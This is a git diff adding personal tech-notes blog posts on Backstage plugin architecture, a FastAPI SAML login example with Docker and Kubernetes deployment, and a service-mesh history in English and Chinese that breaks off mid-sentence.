app](#connecting-the-plugin-to-the-backstage-app) + - [Talking to the outside world](#talking-to-the-outside-world) + +ref: +- https://github.com/backstage/backstage + + +--- + +## basic + +Backstage is an open platform for building developer portals. Powered by a centralized software catalog, Backstage restores order to your microservices and infrastructure and enables your product teams to ship high-quality code quickly — without compromising autonomy. + +Backstage unifies all your infrastructure tooling, services, and documentation to create a streamlined development environment from end to end. + + + +```bash + +nvm install node + + +npx @backstage/create-app +cd my-backstage-app +yarn dev +``` + +--- + +## architecture-overview + +### Terminology + +Backstage is constructed out of three parts. We separate Backstage in this way because we see three groups of contributors that work with Backstage in three different ways. + +- **Core** + - Base functionality built by core developers in the open source project. + +- **App** + - The app is an instance of a Backstage app that is deployed and tweaked. + - The app ties together core functionality with additional plugins. The app is built and maintained by app developers, usually a productivity team within a company. + +- **Plugins** + - Additional functionality to make your Backstage app useful for your company. + - Plugins can be specific to a company or open sourced and reusable. A + - t Spotify we have over 100 plugins built by over 50 different teams. It has been very powerful to get contributions from various infrastructure teams added into a single unified developer experience. + +### Overview + +> The following diagram shows how Backstage might look when deployed inside a company which uses the `Tech Radar` plugin, the `Lighthouse` plugin, the `CircleCI` plugin and the `software catalog`. + +3 main components in this architecture: + +1. The **core** Backstage UI +2. The UI **plugins** and their backing services +3. **Databases** + +Running this architecture in a real environment typically involves containerising the components. Various commands are provided for accomplishing this. + +![The architecture of a basic Backstage application](/assets/img/backstage-assets/architecture-overview/backstage-typical-architecture.png) + +#### User Interface + +- The UI is a thin, client-side wrapper around a set of plugins. It provides some core UI components and libraries for shared activities such as config management. [[live demo](https://demo.backstage.io/catalog)] + +![UI with different components highlighted](/assets/img/backstage-assets/architecture-overview/core-vs-plugin-components-highlighted.png) + +Each plugin typically makes itself available in the UI on a dedicated URL. For example, +- the Lighthouse plugin is registered with the UI on `/lighthouse`. [[learn more](https://backstage.io/blog/2020/04/06/lighthouse-plugin)] + - ![The lighthouse plugin UI](/assets/img/backstage-assets/architecture-overview/lighthouse-plugin.png) + +- The CircleCI plugin is available on `/circleci`. + - ![CircleCI Plugin UI](/assets/img/backstage-assets/architecture-overview/circle-ci.png) + + +#### Plugins and plugin backends + +Each plugin is a client side application which mounts itself on the UI. +- Plugins are written in TypeScript or JavaScript. +- They each live in their own directory in `backstage/plugins`. +- For example, the source code for the lighthouse plugin is available at [backstage/plugins/lighthouse](https://github.com/backstage/backstage/tree/master/plugins/lighthouse). + + +#### Installing plugins + +Plugins are typically installed as React components in your Backstage application. +- For example, [here](https://github.com/backstage/backstage/blob/master/packages/app/src/App.tsx) is a file that imports many full-page plugins in the Backstage sample app. + +An example of one of these plugin components is the `CatalogIndexPage` +- a full-page view that allows you to browse entities in the Backstage catalog. +- It is installed in the app by importing it and adding it as an element like this: + + +```tsx +import { CatalogIndexPage } from '@backstage/plugin-catalog'; + +... + +const routes = ( + + ... + } /> + ... + +); +``` + +Note that we use `"/catalog"` as our path to this plugin page, but we can choose any route we want for the page, as long as it doesn't collide with the routes that we choose for the other plugins in the app. + +These components that are exported from plugins are referred to as `"Plugin Extension Components", or "Extension Components"`. +- They are regular React components, but in addition to being able to be rendered by React, they also contain various pieces of metadata that is used to wire together the entire app. +- Extension components are created using `create*Extension` methods [composability documentation]. + +As of this moment, there is no config based install procedure for plugins. Some code changes are required. + + +--- + +#### Plugin architecture + +Architecturally, plugins can take 3 forms: + +1. Standalone +2. Service backed +3. Third-party backed + +--- + +##### Standalone plugins + +**Standalone plugins** +- run entirely in the browser +- simply renders hard-coded information +- doesn't make any API requests to other services + +for example +- [The Tech Radar plugin](https://demo.backstage.io/tech-radar), + +![tech radar plugin ui](/assets/img/backstage-assets/architecture-overview/tech-radar-plugin.png) + +- The architecture of the Tech Radar installed into a Backstage app is very simple. + +![ui and tech radar plugin connected together](/assets/img/backstage-assets/architecture-overview/tech-radar-plugin-architecture.png) + +--- + +##### Service backed plugins + +**Service backed plugins** +- make API requests to a service which is within the purview of the organisation running Backstage. + +for example: + +- The Lighthouse plugin + - makes requests to the [lighthouse-audit-service](https://github.com/spotify/lighthouse-audit-service). + - The `lighthouse-audit-service` is a microservice which runs a copy of Google's [Lighthouse library](https://github.com/GoogleChrome/lighthouse/) and stores the results in a PostgreSQL database. + + - Its architecture looks like this: + + - ![lighthouse plugin backed to microservice and database](/assets/img/backstage-assets/architecture-overview/lighthouse-plugin-architecture.png) + +- The software catalog + - another example of a service backed plugin. + - It retrieves a list of services, or "entities", from the Backstage Backend service and renders them in a table for the user. + +--- + +##### Third-party backed plugins + +Third-party backed plugins are similar to service backed plugins. The main +difference is that the service which backs the plugin is hosted outside of the +ecosystem of the company hosting Backstage. + +The CircleCI plugin is an example of a third-party backed plugin. CircleCI is a +SaaS service which can be used without any knowledge of Backstage. It has an API +which a Backstage plugin consumes to display content. + +Requests going to CircleCI from the user's browser are passed through a proxy +service that Backstage provides. Without this, the requests would be blocked by +Cross Origin Resource Sharing policies which prevent a browser page served at +[https://example.com](https://example.com) from serving resources hosted at +https://circleci.com. + +![CircleCI plugin talking to proxy talking to SaaS Circle CI](/assets/img/backstage-assets/architecture-overview/circle-ci-plugin-architecture.png) + +### Package Architecture + +Backstage relies heavily on NPM packages, both for distribution of libraries, +and structuring of code within projects. While the way you structure your +Backstage project is up to you, there is a set of established patterns that we +encourage you to follow. These patterns can help set up a sound project +structure as well as provide familiarity between different Backstage projects. + +The following diagram shows an overview of the package architecture of +Backstage. It takes the point of view of an individual plugin and all of the +packages that it may contain, indicated by the thicker border and italic text. +Surrounding the plugin are different package groups which are the different +possible interface points of the plugin. Note that not all library package lists +are complete as packages have been omitted for brevity. + +![Package architecture](/assets/img/backstage-assets/architecture-overview/package-architecture.drawio.svg) + +#### Overview + +The arrows in the diagram above indicate a runtime dependency on the code of the +target package. This strict dependency graph only applies to runtime +`dependencies`, and there may be `devDependencies` that break the rules of this +table for the purpose of testing. While there are some arrows that show a +dependency on a collection of frontend, backend and isomorphic packages, those +still have to abide by important compatibility rules shown in the bottom left. + +The `app` and `backend` packages are the entry points of a Backstage project. +The `app` package is the frontend application that brings together a collection +of frontend plugins and customizes them to fit an organization, while the +`backend` package is the backend service that powers the Backstage application. +Worth noting is that there can be more than one instance of each of these +packages within a project. Particularly the `backend` packages can benefit from +being split up into smaller deployment units that each serve their own purpose +with a smaller collection of plugins. + +#### Plugin Packages + +A typical plugin consists of up to five packages, two frontend ones, two +backend, and one isomorphic package. All packages within the plugin must share a +common prefix, typically of the form `@/plugin-`, but +alternatives like `backstage-plugin-` or +`@/backstage-plugin-` are also valid. Along with this prefix, +each of the packages have their own unique suffix that denotes their role. In +addition to these five plugin packages it's also possible for a plugin to have +additional frontend and backend modules that can be installed to enable optional +features. For a full list of suffixes and their roles, see the +[Plugin Package Structure ADR](../architecture-decisions/adr011-plugin-package-structure.md). + +The `-react`, `-common`, and `-node` plugin packages together form the external +library of a plugin. The plugin library enables other plugins to build on top of +and extend a plugin, and likewise allows the plugin to depend on and extend +other plugins. Because of this, it is preferable that plugin library packages +allow duplicate installations of themselves, as you may end up with a mix of +versions being installed as dependencies of various plugins. It is also +forbidden for plugins to directly import non-library packages from other +plugins, all communication between plugins must be handled through libraries and +the application itself. + +#### Frontend Packages + +The frontend packages are grouped into two main groups. The first one is +"Frontend App Core", which is the set of packages that are only used by the +`app` package itself. These packages help build up the core structure of the app +as well as provide a foundation for the plugin libraries to rely upon. + +The second group is the rest of the shared packages, further divided into +"Frontend Plugin Core" and "Frontend Libraries". The core packages are +considered particularly stable and form the core of the frontend framework. +Their most important role is to form the boundary around each plugin and provide +a set of tools that helps you combine a collection of plugins into a running +application. The rest of the frontend packages are more traditional libraries +that serve as building blocks to create plugins. + +#### Backend Packages + +The backend library packages do not currently share a similar plugin +architecture as the frontend packages. They are instead simply a collection of +building blocks and patterns that help you build backend services. This is +however likely to change in the future. + +#### Common Packages + +The common packages are the packages effectively depended on by all other pages. +This is a much smaller set of packages but they are also very pervasive. Because +the common packages are isomorphic and must execute both in the frontend and +backend, they are never allowed to depend on any of the frontend or backend +packages. + +The Backstage CLI is in a category of its own and is depended on by virtually +all other packages. It's not a library in itself though, and must always be a +development dependency only. + +#### Deciding where you place your code + +It can sometimes be difficult to decide where to place your plugin code. For example +should it go directly in the `-backend` plugin package or in the `-node` package? +As a general guideline you should try to keep the exposure of your code as low +as possible. If it doesn't need to be public API, it's best to avoid. If you don't +need it to be used by other plugins, then keep it directly in the plugin packages. + +Below is a chart to help you decide where to place your code. + +![Package decision](/assets/img/backstage-assets/architecture-overview/package-decision.drawio.svg) + +### Databases + +As we have seen, both the `lighthouse-audit-service` and `catalog-backend` +require a database to work with. + +The Backstage backend and its built-in plugins are based on the +[Knex](https://knexjs.org/) library, and set up a separate logical database per +plugin. This gives great isolation and lets them perform migrations and evolve +separate from each other. + +The Knex library supports a multitude of databases, but Backstage is at the time +of writing tested primarily against two of them: SQLite, which is mainly used as +an in-memory mock/test database, and PostgreSQL, which is the preferred +production database. Other databases such as the MySQL variants are reported to +work but +[aren't tested as fully](https://github.com/backstage/backstage/issues/2460) +yet. + +### Cache + +The Backstage backend and its built-in plugins are also able to leverage cache +stores as a means of improving performance or reliability. Similar to how +databases are supported, plugins receive logically separated cache connections, +which are powered by [Keyv](https://github.com/lukechilds/keyv) under the hood. + +At this time of writing, Backstage can be configured to use one of three cache +stores: memory, which is mainly used for local testing, memcache or Redis, +which are cache stores better suited for production deployment. The right cache +store for your Backstage instance will depend on your own run-time constraints +and those required of the plugins you're running. + +#### Use memory for cache + +```yaml +backend: + cache: + store: memory +``` + +### Use memcache for cache + +```yaml +backend: + cache: + store: memcache + connection: user:pass@cache.example.com:11211 +``` + +### Use Redis for cache + +```yaml +backend: + cache: + store: redis + connection: redis://user:pass@cache.example.com:6379 +``` + +Contributions supporting other cache stores are welcome! + +### Containerization + +The example Backstage architecture shown above would Dockerize into three +separate Docker images. + +1. The frontend container +2. The backend container +3. The Lighthouse audit service container + +![Boxes around the architecture to indicate how it is containerised](/assets/img/backstage-assets/architecture-overview/containerised.png) + +The backend container can be built by running the following command: + +```bash +yarn run build +yarn run build-image +``` + +This will create a container called `example-backend`. + +The lighthouse-audit-service container is already publicly available in Docker +Hub and can be downloaded and run with + +```bash +docker run spotify/lighthouse-audit-service:latest +``` + +--- + +## Backstage plugins + +--- + +### Intro to plugins + +- Backstage is a single-page application composed of a set of plugins. + +- Our goal for the plugin ecosystem is that the definition of a plugin is flexible enough to allow you to expose pretty much any kind of infrastructure or software development tool as a plugin in Backstage. + +- Backstage plugins provide features to a Backstage App. + +- Each plugin is treated as a self-contained web app and can include almost any type of content. Plugins all use a common set of platform APIs and reusable UI components. Plugins can fetch data from external sources using the regular browser APIs or by depending on external modules to do the work. + +![plugin](/assets/img/backstage-assets/my-plugin_screenshot.png) + +### Existing plugins + +- Open source plugins that you can add to the Backstage deployment can be found at: https://backstage.io/plugins + + +### Suggesting a plugin + +- If start developing a plugin that you aim to release as open source, create a [new Issue](https://github.com/backstage/backstage/issues/new?labels=plugin&template=plugin_template.md&title=%5BPlugin%5D+THE+PLUGIN+NAME). + +### Integrate into the Software Catalog + +- If the plugin isn't supposed to live as a standalone page, but rather needs to be presented as a part of a Software Catalog (e.g. a separate tab or a card on an "Overview" tab), then check out +[the instruction]() on how to do it. + +--- + +### Creating a plugin + +- run `yarn install` and installed dependencies +- run `yarn new --select plugin` + - a shortcut to invoking the [`backstage-cli new --select plugin`] from the root of the project. + - This will create a new Backstage Plugin based on the ID that was provided. It will be built and added to the Backstage App automatically. + +![](/assets/img/backstage-assets/getting-started/create-plugin_output.png) + + +> If the Backstage App is already running (with `yarn start` or `yarn dev`) you should be able to see the default page for the new plugin directly by navigating to `https://localhost:3000/my-plugin`. + +![](/assets/img/backstage-assets/my-plugin_screenshot.png) + +- You can also serve the plugin in isolation by + - running `yarn start` in the plugin directory. + - Or using the `yarn workspace` command + +```bash +yarn workspace @backstage/plugin-my-plugin start +# Also supports --check +``` + +- This method of serving the plugin provides quicker iteration speed and a faster startup and hot reloads. It is only meant for local development, and the setup for it can be found inside the plugin's `dev/` directory. + + +--- + +### Plugin Development + +--- + +#### Developing guidelines + +- Consider writing plugins in `TypeScript`. +- Plan the directory structure of the plugin so that it becomes easy to manage. +- Prefer using the [Backstage components](https://backstage.io/storybook), otherwise go with [Material UI](https://material-ui.com/). +- Check out the shared Backstage APIs before building a new one. + +--- +--- + +#### Plugin concepts / API + +##### Routing + +- Each plugin can export routable extensions, which are then imported into the app and mounted at a path. + +- need a `RouteRef` instance to serve as the mount point of the extensions. + - This can be used within the own plugin to create a link to the extension page using `useRouteRef`, as well as for other plugins to link to the extension. + + - It is best to place these in a separate top-level `src/routes.ts` file, in order to avoid import cycles, for example like this: + +```tsx +/* src/routes.ts */ +import { createRouteRef } from '@backstage/core-plugin-api'; + +// Note: This route ref is for internal use only, don't export it from the plugin +export const rootRouteRef = createRouteRef({ + title: 'Example Page', +}); +``` + +- Now that we have a `RouteRef`, + - import it into `src/plugin.ts`, + - create our plugin instance with `createPlugin`, + - create and wrap routable extension using `createRoutableExtension` from `@backstage/core-plugin-api`: + +```tsx +/* src/plugin.ts */ +import { createPlugin, createRouteRef } from '@backstage/core-plugin-api'; +import ExampleComponent from './components/ExampleComponent'; + +// Create a plugin instance +// and export this from the plugin package +export const examplePlugin = createPlugin({ + id: 'example', + routes: { + root: rootRouteRef, + // This is where the route ref should be exported for usage in the app + }, +}); + +// This creates a routable extension, which are typically full pages of content. +// Each extension should also be exported from the plugin package. +export const ExamplePage = examplePlugin.provide( + createRoutableExtension({ + name: 'ExamplePage', + // The component needs to be lazy-loaded. + // It's what will actually be rendered in the end. + component: () => + import('./components/ExampleComponent').then(m => m.ExampleComponent), + // This binds the extension to this route ref, + // which allows for routing within and across plugin extensions + mountPoint: rootRouteRef, + }), +); +``` + +- This extension can then be imported and used in the app as follow, typically placed within the top-level ``: + +```tsx +} /> +``` + +--- + +#### structure-of-a-plugin + +##### Folder structure + +The new plugin should look something like: + +```bash +new-plugin/ + dev/ + index.ts + node_modules/ + src/ + components/ + ExampleComponent/ + ExampleComponent.test.tsx + ExampleComponent.tsx + index.ts + ExampleFetchComponent/ + ExampleFetchComponent.test.tsx + ExampleFetchComponent.tsx + index.ts + index.ts + plugin.test.ts + plugin.ts + routes.ts + setupTests.ts + .eslintrc.js + package.json + README.md +``` + +- a plugin looks like a mini project on it's own with a `package.json` and a `src` folder. this is because we want plugins to be separate packages. This makes it possible to ship plugins on npm and it lets you work on a plugin in isolation, without loading all the other plugins in a potentially big Backstage app. + +- The `index.ts` files are there to let us import from the folder path and not specific files. It's a way to have control over the exports in one file per folder. + +##### Base files + +- You get a readme to populate with info about the plugin and a +package.json to declare the plugin dependencies, metadata and scripts. + +##### The plugin file + +- In the `src` folder, Check out the `plugin.ts`: + +```jsx +import { + createPlugin, + createRoutableExtension, +} from '@backstage/core-plugin-api'; + +import { rootRouteRef } from './routes'; + +export const examplePlugin = createPlugin({ + id: 'example', + routes: { + root: rootRouteRef, + }, +}); + +export const ExamplePage = examplePlugin.provide( + createRoutableExtension({ + name: 'ExamplePage', + component: () => + import('./components/ExampleComponent').then(m => m.ExampleComponent), + mountPoint: rootRouteRef, + }), +); +``` + +- This is where the plugin is created and where it creates and exports extensions that can be imported and used the app. See reference docs for [`createPlugin`] or introduction to +the new [Composability System]. + +##### Components + +- The generated plugin includes two example components to showcase how we structure our plugins. There are usually one or multiple page components and next to them you can split up the UI in as many components as you feel like. + +- We have the `ExampleComponent` to show an example Backstage page component. The `ExampleFetchComponent` showcases the common task of making an async request to a public API and plot the response data in a table using Material UI components. + +- You may tweak these components, rename them and/or replace them completely. + +##### Connecting the plugin to the Backstage app + +There are two things needed for a Backstage app to start making use of a plugin. + +1. Add plugin as dependency in `app/package.json` +2. Import and use one or more plugin extensions, for example in `app/src/App.tsx`. + +Luckily both of these steps happen automatically when you create a plugin with the Backstage CLI. + +##### Talking to the outside world + +If the plugin needs to communicate with services outside the Backstage environment you will probably face challenges like `CORS policies and/or backend-side authorization`. + +To smooth this process out you can use `proxy` - either the one you already have (like Nginx, HAProxy, etc.) or the `proxy-backend plugin` that we provide for the Backstage backend. [Read more](https://github.com/backstage/backstage/blob/master/plugins/proxy-backend/README.md) + + + + + + + + +. diff --git a/_posts/00Basic/API/2020-11-27-FastAPI.md b/_posts/00Basic/API/2020-11-27-FastAPI.md new file mode 100644 index 00000000000..053d1757aa5 --- /dev/null +++ b/_posts/00Basic/API/2020-11-27-FastAPI.md @@ -0,0 +1,212 @@ +--- +title: FastAPI +date: 2020-11-27 11:11:11 -0400 +categories: [00Basic, API] +tags: [API] +math: true +image: +--- + +- [FastAPI](#fastapi) + - [Getting started with Fast API](#getting-started-with-fast-api) + - [Install](#install) + - [Code](#code) + - [Run](#run) + - [Dockerizing the FastAPI application](#dockerizing-the-fastapi-application) + - [Deploy a Fast API Application to Kubernetes Cluster](#deploy-a-fast-api-application-to-kubernetes-cluster) + +--- + +# FastAPI + + +## Getting started with Fast API + +### Install +```sh +pip install fastapi +pip install uvicorn +``` + +### Code + +```py +from fastapi import FastAPI, Request, Form +from typing import Optional +from starlette.responses import RedirectResponse + +from onelogin.saml2.auth import OneLogin_Saml2_Auth +from onelogin.saml2.settings import OneLogin_Saml2_Settings +from onelogin.saml2.utils import OneLogin_Saml2_Utils + +app = FastAPI() + +saml_settings = { + "strict": False, # can set to True to see problems such as Time skew/drift + "debug": True, + "idp": { + "entityId": "test-saml-client", + "singleSignOnService": { + "url": "https://127.0.0.1:8081/auth/realms/test/protocol/saml", + "binding": "urn:oasis:names:tc:SAML:2.0:bindings:HTTP-Redirect" + }, + "x509cert": "MIIClzCCAX8CBgF6A0sAhDANBgkqhkiG9w0BAQsFADAPMQ0wCwYDVQQDDAR0ZXN0MB4XDTIxMDYxMzAyNTMwNFoXDTMxMDYxMzAyNTQ0NFowDzENMAsGA1UEAwwEdGVzdDCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAK97NlCcNOhtH0a0wz5boYKb7TaxogxnlyysOWUre1uI8SC6EBV3G5DHMdg4aWXwuXwy61+JJu70xNzJj155MJ+atGS7eLrxxGl0DNoLu/LU7Vhht+j09MZt5J60DnS76H3pkvzAtRfd1P/d5JEFzWYkI4drBJccYX/nrrx2KZBkXOjwjVcEhsyK5ykA0LX+M+yFDy2w8qEWhxHuSL6enzw8IZ7qdtsF8SHqw7cdCgCJU6+0dxaRAAqmzMkO7BDEkwCJl0M8VaOPGo/SnZIAMYHLIUg1x0h/ecST4NPdqAwgDGtWAcD+Gp7Lr7xfBbKKqnLfg2PJdjs7Z0+NFOeVTvcCAwEAATANBgkqhkiG9w0BAQsFAAOCAQEAeJ2r2yoaQAo6v8MC6iAobOeJoBoezQg/OSQqeA9lygMWmGHpDIjSV7m3PCXwf5H9/NpHgBLt8y5PcjEs99uPfPeUBV/qitTFMuznMyr35e60iaHSdhZVjyCmrKgnIuGa07lng2wFabtpijqzbQJ99kYsWxbBDgbdVnt3jxohG1KKaXkGMyy7suwPgwrbwXfDrpyyj33NT/Dk/2W4Fjrjg8rIkuQypwB0SQLG1cZL9Z2AgW39JeVnP/sOH1gNpCCQwbpgE9hEed80jsYWlvucnFm2aHBtGV+/7/7N3qRRpIvzrNVJoznqDDWU41RxS0NphAwX2ZqprWvN+SCEEhPGGQ==" + }, + "sp": { + "entityId": "test-saml-client", + "assertionConsumerService": { + "url": "https://127.0.0.1:3000/api/saml/callback", + "binding": "urn:oasis:names:tc:SAML:2.0:bindings:HTTP-POST" + }, + "x509cert": "MIIClzCCAX8CBgF6A0sAhDANBgkqhkiG9w0BAQsFADAPMQ0wCwYDVQQDDAR0ZXN0MB4XDTIxMDYxMzAyNTMwNFoXDTMxMDYxMzAyNTQ0NFowDzENMAsGA1UEAwwEdGVzdDCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAK97NlCcNOhtH0a0wz5boYKb7TaxogxnlyysOWUre1uI8SC6EBV3G5DHMdg4aWXwuXwy61+JJu70xNzJj155MJ+atGS7eLrxxGl0DNoLu/LU7Vhht+j09MZt5J60DnS76H3pkvzAtRfd1P/d5JEFzWYkI4drBJccYX/nrrx2KZBkXOjwjVcEhsyK5ykA0LX+M+yFDy2w8qEWhxHuSL6enzw8IZ7qdtsF8SHqw7cdCgCJU6+0dxaRAAqmzMkO7BDEkwCJl0M8VaOPGo/SnZIAMYHLIUg1x0h/ecST4NPdqAwgDGtWAcD+Gp7Lr7xfBbKKqnLfg2PJdjs7Z0+NFOeVTvcCAwEAATANBgkqhkiG9w0BAQsFAAOCAQEAeJ2r2yoaQAo6v8MC6iAobOeJoBoezQg/OSQqeA9lygMWmGHpDIjSV7m3PCXwf5H9/NpHgBLt8y5PcjEs99uPfPeUBV/qitTFMuznMyr35e60iaHSdhZVjyCmrKgnIuGa07lng2wFabtpijqzbQJ99kYsWxbBDgbdVnt3jxohG1KKaXkGMyy7suwPgwrbwXfDrpyyj33NT/Dk/2W4Fjrjg8rIkuQypwB0SQLG1cZL9Z2AgW39JeVnP/sOH1gNpCCQwbpgE9hEed80jsYWlvucnFm2aHBtGV+/7/7N3qRRpIvzrNVJoznqDDWU41RxS0NphAwX2ZqprWvN+SCEEhPGGQ==", + } +} + +async def prepare_from_fastapi_request(request, debug=False): + form_data = await request.form() + rv = { + "http_host": request.client.host, + "server_port": request.url.port, + "script_name": request.url.path, + "post_data": { }, + "get_data": { } + # Advanced request options + # "https": "", + # "request_uri": "", + # "query_string": "", + # "validate_signature_from_qs": False, + # "lowercase_urlencoding": False + } + if (request.query_params): + rv["get_data"] = request.query_params, + if "SAMLResponse" in form_data: + SAMLResponse = form_data["SAMLResponse"] + rv["post_data"]["SAMLResponse"] = SAMLResponse + if "RelayState" in form_data: + RelayState = form_data["RelayState"] + rv["post_data"]["RelayState"] = RelayState + return rv + +@app.get("/") +async def root(): + return { "message": "Hello World" } + +@app.post("/test") +async def test(request: Request, p1: Optional[str] = Form(None), p2: Optional[str] = Form(None)): + req = await prepare_from_fastapi_request(request) + return req + +@app.get('/api/saml/login') +async def saml_login(request: Request): + req = await prepare_from_fastapi_request(request) + auth = OneLogin_Saml2_Auth(req, saml_settings) + # saml_settings = auth.get_settings() + # metadata = saml_settings.get_sp_metadata() + # errors = saml_settings.validate_metadata(metadata) + # if len(errors) == 0: + # print(metadata) + # else: + # print("Error found on Metadata: %s" % (', '.join(errors))) + callback_url = auth.login() + response = RedirectResponse(url=callback_url) + return response + +@app.post('/api/saml/callback') +async def saml_login_callback(request: Request): + req = await prepare_from_fastapi_request(request, True) + auth = OneLogin_Saml2_Auth(req, saml_settings) + auth.process_response() # Process IdP response + errors = auth.get_errors() # This method receives an array with the errors + if len(errors) == 0: + if not auth.is_authenticated(): # This check if the response was ok and the user data retrieved or not (user authenticated) + return "user Not authenticated" + else: + return "User authenticated" + else: + print("Error when processing SAML Response: %s %s" % (', '.join(errors), auth.get_last_error_reason())) + return "Error in callback" +``` + +### Run + +```sh +uvicorn main:app --reload --port 3000 + +uvicorn main:app +# The command will start your application on http://127.0.0.1:8000 +``` + + +## Dockerizing the FastAPI application + +1. Create a requirements.txt file. +1. Create a Dockerfile for the FastAPI application. +1. Build a Docker Image for the FastAPI application using the Dockerfile. +1. Launch a Docker Container using the Docker Image. + +```sh +# requirements.txt +fastapi +uvicorn + +# dockerfile +FROM python:3.10 +WORKDIR /app +COPY . . +RUN pip install -r requirements.txt +EXPOSE 8000 +CMD ["uvicorn", "main:app", "--host", "0.0.0.0"] + +docker build -t bravinwasike/fast-api . +docker run -p 8000:8000 bravinwasike/fast-api +# The command will start your application on http://127.0.0.1:8000 +``` + + +## Deploy a Fast API Application to Kubernetes Cluster + +```sh +# yaml +apiVersion: apps/v1 +kind: Deployment +metadata: + name: fast-api-deployment +spec: + replicas: 2 + selector: + matchLabels: + app: fast-api + template: + metadata: + labels: + app: fast-api + spec: + containers: + - name: fast-api + image: bravinwasike/fast-api + resources: + limits: + memory: "256Mi" + cpu: "500m" + ports: + - containerPort: 8000 +--- +apiVersion: v1 +kind: Service +metadata: + name: fast-api-service +spec: + selector: + app: fast-api + ports: + - port: 8000 + targetPort: 8000 + type: LoadBalancer + + +kubectl apply -f kubernetes.yaml +# Minikube has assigned an External IP address to the fast-api-service +minikube service fast-api-service + +# Type the assigned IP address in your web browser to access your Dockerized FastAPI application +``` diff --git a/_posts/00Basic/AppEng/AppMesh.md b/_posts/00Basic/AppEng/AppMesh.md new file mode 100644 index 00000000000..e3333cf32fd --- /dev/null +++ b/_posts/00Basic/AppEng/AppMesh.md @@ -0,0 +1,392 @@ +--- +title: App Eng - Service Mesh +# author: Grace JyL +date: 2019-08-25 11:11:11 -0400 +description: +excerpt_separator: +categories: [04AppEng] +tags: [Microservices, DistributedSystems, ServiceMesh, Patterns] +math: true +# pin: true +toc: true +# image: /assets/img/sample/devices-mockup.png +--- + + +- [Service Mesh](#service-mesh) + - [basic](#basic) + - [path](#path) + - [**PC 1v1** networking computers](#pc-1v1-networking-computers) + - [时代1:原始通信时代](#时代1原始通信时代) + - [时代2:TCP时代](#时代2tcp时代) + - [first started with microservices](#first-started-with-microservices) + - [时代3:第一代微服务](#时代3第一代微服务) + - [时代4:第二代微服务](#时代4第二代微服务) + - [The next logical step](#the-next-logical-step) + - [Sidecars: 时代5:第一代Service Mesh 代理模式(边车模式)](#sidecars-时代5第一代service-mesh-代理模式边车模式) + - [时代6:第二代 Service Mesh](#时代6第二代-service-mesh) + - [benefits](#benefits) +- [AWS App Mesh](#aws-app-mesh) + - [basic](#basic-1) + - [Introduction to AWS App Mesh](#introduction-to-aws-app-mesh) + + +- ref + - [https://philcalcado.com/2017/08/03/pattern_service_mesh.html](https://philcalcado.com/2017/08/03/pattern_service_mesh.html) + + + + +--- + + +# Service Mesh + +--- + + +## basic + +- distributed systems enable lots use cases, but also introduce all sorts of new issues. + +When these systems were rare and simple +- engineers dealt with the added complexity by minimising the number of remote interactions. +- The safest way to handle distribution has been to avoid it as much as possible, even if that meant duplicated logic and data across various systems. + +from a few larger central computers to hundreds and thousands of small services + +--- + + +## path + + +--- + + + +### **PC 1v1** networking computers + + + +> Variations of the model above have been in use since the 1950s. + +开发人员想象中,不同服务间通信的方式,抽象表示如下: + + +![1](https://i.imgur.com/59mrbG8.png) + + +- getting two or more computers to talk to each other + - A service talks to another to accomplish some goal for an end-user. + +- more detail by showing the networking stack + - many layers that translate between the bytes your code manipulates and the electric signals that are sent and received over a wire + + +- In the beginning, computers were rare and expensive, so each link between two nodes was carefully crafted and maintained. + + + +--- + + +### 时代1:原始通信时代 + +![Screen Shot 2022-03-22 at 14.14.14](https://i.imgur.com/Cuaxu6v.png) + + +- As computers became less expensive and more popular, the number of connections and the amount of data going through them increased drastically. + - With people relying more and more on networked systems, engineers needed to make sure that the software they built was up to the quality of service required by their users. + - many questions that needed to be answered to get to the desired quality levels. + - People needed to find ways for machines to find each other, + - to handle multiple simultaneous connections over the same wire, + - to allow for to machines to talk to each other when not connected directly, + - to route packets across networks, encrypt traffic, etc. + +- Amongst those, there is something called **flow control** + - a mechanism that prevents one server from sending more packets than the downstream server can process. + - It is necessary because in a networked system you have at least two distinct, independent computers that don’t know much about each other. + - Computer A sends bytes at a given rate to Computer B, but there is no guarantee that B will process the received bytes at a consistent and fast-enough speed. + - For example, B might be busy running other tasks in parallel, or the packets may arrive out-of-order, and B is blocked waiting for packets that should have arrived first. + - This means that not only A wouldn’t have the expected performance from B, but it could also be making things worse, as it might overload B that now has to queue up all these incoming packets for processing. + + - For a while, it was expected that the people `building networked services and applications would deal with the challenges` presented above. + - In our flow control example, it meant that the application itself had to contain logic to make sure we did not overload a service with packets. + - This networking-heavy logic sat side by side with your business logic. + + +--- + +### 时代2:TCP时代 + + + +- Fortunately, technology quickly evolved and soon enough **standards like TCP/IP** incorporated solutions to flow control and many other problems into the network stack itself. + - This means that that piece of code still exists, but it has been extracted from your application to the underlying networking layer provided by your operating system + - This model has been wildly successful. There are very few organisations that can’t just use the TCP/IP stack that comes with a commodity operating system to drive their business, even when high-performance and reliability are required. + + +![4](https://i.imgur.com/qCT5fre.png) + +--- + + +### first started with microservices + +> extreme distribution brought up a lot of higher-level use cases and benefits, +> but it also surfaced several challenges. + +- Over the years, computers became even cheaper and more omnipresent, and networking stack described above has proven itself as the de-facto toolset to reliably connect systems. + +- With more nodes and stable connections, the industry has played with various flavours of networked systems, from `fine-grained distributed agents and objects` to `Service-Oriented Architectures composed of larger but still heavily distributed components` + + +- In the 90s, Peter Deutsch and his fellow engineers at Sun Microsystems compiled “**The 8 Fallacies of Distributed Computing**”, in which he lists some assumptions people tend to make when working with distributed systems. + - Peter’s point is that these, might have been true in more primitive networking architectures or the theoretical models, but they don’t hold true in the modern world: + - The network is reliable + - Latency is zero + - Bandwidth is infinite + - The network is secure + - Topology doesn’t change + - There is one administrator + - Transport cost is zero + - The network is homogeneous + + - engineers cannot just ignore these issues, they have to explicitly deal with them. + + +- moving to even more distributed systems **microservices architecture** + - has introduced new needs on the operability side: + + - Rapid provisioning of compute resources + - Basic monitoring + - Rapid deployment + - Easy to provision storage + - Easy access to the edge + - Authentication/Authorisation + - Standardised RPC + + + +--- + + +### 时代3:第一代微服务 + + +在TCP出现之后,机器之间的网络通信不再是一个难题 +- 以GFS/BigTable/MapReduce为代表的分布式系统得以蓬勃发展。 +- 这时,分布式系统特有的通信语义又出现了,如`熔断策略、负载均衡、服务发现、认证和授权、quota限制、trace和监控`等等,于是服务根据业务需求来实现一部分所需的通信语义。 + + +> So while the TCP/IP stack and general networking model is still a powerful tool in making computers talk to each other, the more sophisticated architectures introduced another layer of requirements that have to be 